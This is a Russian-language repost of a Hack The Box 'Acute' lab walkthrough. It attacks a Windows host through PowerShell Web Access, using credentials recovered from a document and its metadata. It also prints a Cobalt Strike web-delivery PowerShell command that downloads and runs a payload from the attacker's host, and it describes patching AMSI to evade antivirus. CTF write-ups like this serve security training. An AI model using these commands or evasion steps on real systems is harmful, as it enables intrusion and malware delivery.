Категория > Новости > HTB Acute. Атакуем Active Directory с помощью Cobalt Strike - «Новости»
HTB Acute. Атакуем Active Directory с помощью Cobalt Strike - «Новости»20-07-2022, 00:00. Автор: Waller |
Hack The Box. Уровень сложности — hard.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаСканирование портовДобавляем IP-адрес машины в
10.10.11.145 acute.htb
И запускаем сканирование портов. Справка: сканирование портовСканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта. ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция Результат работы скрипта По результатам сканирования имеем всего один открытый порт — 443, стандартный для веб‑сервера. Поскольку на нем используется SSL, мы можем посмотреть сертификат и в поле
10.10.11.145 acute.htb atsserver.acute.local
Главная страница atsserver.acute.localИдем осматривать сайт. Ссылок на нем маловато, но одна из них ведет на документ. Страница с документом Скачаем док для анализа: в нем может быть интересная информация. Точка входаВ документе находим какой‑то дефолтный пароль. Такие вещи всегда стоит отмечать — при прохождении лабораторок они по закону жанра обязаны еще выстрелить. Содержимое скачанного документа Также находим упоминание работы, а чуть дальше и ссылку на PSWA (PowerShell Web Access). Эта функция позволяет удаленно управлять сервером с помощью PowerShell через обычный браузер. Доменное имя из ссылки добавим в файл
10.10.11.145 acute.htb atsserver.acute.local
Переходим по найденной ссылке, и нам открывается панель авторизации PSWA. Панель авторизации PSWA У нас есть пароль, осталось найти имена пользователя и машины. Точка опорыФайлы вроде офисных документов очень полезны при разведке. Их метаданные могут содержать, к примеру, имя пользователя и название машины. Поэтому первым делом получим метаданные скачанного файла с помощью Exiftool. Метаданные документа Из поля Найденные пользователи Формируем список по уже имеющемуся у нас формату. Список аккаунтов И с найденным паролем на обозначенной машине мы получаем командную веб‑оболочку PoweShell от имени пользователя Командная веб‑оболочка Для дальнейшей эксплуатации и продвижения я решил использовать популярный фреймворк Cobalt Strike. Первым делом создадим листенер. Параметры листенера Для удобной доставки нагрузки будем использовать скрипт на PowerShell, расположенный на локальном веб‑сервере. Настройки Scripted Web Delivery После настройки нам даже дадут команду, которую необходимо ввести на целевой системе.
powershell.exe-nop-whidden-c"IEX ((new-object net.webclient).downloadstring('http://10.10.14.26:80/info'))"
Ошибка запуска нагрузкиНо нас останавливает антивирус, который триггернул из‑за AMSI. Справка: AMSIAntimalware Scan Interface (AMSI) — это компонент Microsoft Windows, который обеспечивает более глубокую проверку встроенных служб сценариев. Продвинутое вредоносное ПО использует замаскированные или зашифрованные сценарии, чтобы уклониться от традиционных методов проверки. Такое вредоносное ПО часто загружается непосредственно в память, поэтому не использует файлы на устройстве. AMSI — это интерфейс, через который приложения и службы в Windows отправляют запросы на проверку установленному на компьютере средству защиты от вредоносного ПО. Но мы можем запатчить AMSI, чтобы используемый нами код не уходил на проверку. Метод заключается в изменении адресов заголовков Патч AMSIИ после повторного запуска нагрузки получаем активную сессию в нашем фреймворке. Граф сессий в CS ПродвижениеПолучив контроль над хостом, я сразу просмотрел запущенные процессы и сессии активных пользователей. Process Explorer в Cobalt Strike Видим запущенные процессы Перейти обратно к новости |